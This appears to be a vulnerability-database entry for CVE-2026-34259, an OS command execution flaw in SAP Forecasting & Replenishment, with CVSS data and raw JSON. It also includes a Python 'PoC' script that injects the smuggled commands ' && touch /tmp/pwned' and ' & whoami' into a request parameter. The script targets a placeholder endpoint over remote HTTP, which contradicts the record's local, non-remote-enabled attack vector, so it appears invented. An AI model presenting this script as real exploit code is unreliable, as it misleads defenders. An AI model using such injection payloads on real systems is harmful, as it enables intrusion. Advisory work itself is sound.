Security Vulnerability Report
中文
CVE-2026-34259 CVSS 8.2 HIGH

CVE-2026-34259

Published: 2026-05-12 03:16:11
Last Modified: 2026-05-12 03:16:11

Description

Due to an OS Command Execution vulnerability in SAP Forecasting & Replenishment, an authenticated attacker with administrative authorizations could abuse a non-remote-enabled function to execute arbitrary operating system commands. Successful exploitation could allow the attacker to read or modify any system data or shut down the system, resulting in a complete compromise of confidentiality, integrity, and availability.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

SAP Forecasting & Replenishment (Versions prior to fix provided in SAP Note 3732471)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-34259 PoC Concept # Target: SAP Forecasting & Replenishment # Description: OS Command Injection via vulnerable non-remote-enabled function target_url = "http://target-sap-system:8000/sap/bc/webdynpro_abap/z_vulnerable_func" # Attacker credentials (High Privileges required) session_cookies = { "sap-user": "ADMIN", "sap-password": "PASSWORD" } # Malicious payload to inject OS command (e.g., creating a file or executing whoami) # The payload depends on the underlying OS (Windows/Linux) payload = " && touch /tmp/pwned" # For Linux # payload = " & whoami" # For Windows params = { "input_field": "legitimate_data", "config_param": payload # Vulnerable parameter } try: print("[*] Attempting to exploit CVE-2026-34259...") response = requests.get(target_url, params=params, cookies=session_cookies) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check system for signs of command execution (e.g., /tmp/pwned file).") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34259", "sourceIdentifier": "[email protected]", "published": "2026-05-12T03:16:11.383", "lastModified": "2026-05-12T03:16:11.383", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to an OS Command Execution vulnerability in SAP Forecasting & Replenishment, an authenticated attacker with administrative authorizations could abuse a non-remote-enabled function to execute arbitrary operating system commands. Successful exploitation could allow the attacker to read or modify any system data or shut down the system, resulting in a complete compromise of confidentiality, integrity, and availability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.5, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://me.sap.com/notes/3732471", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}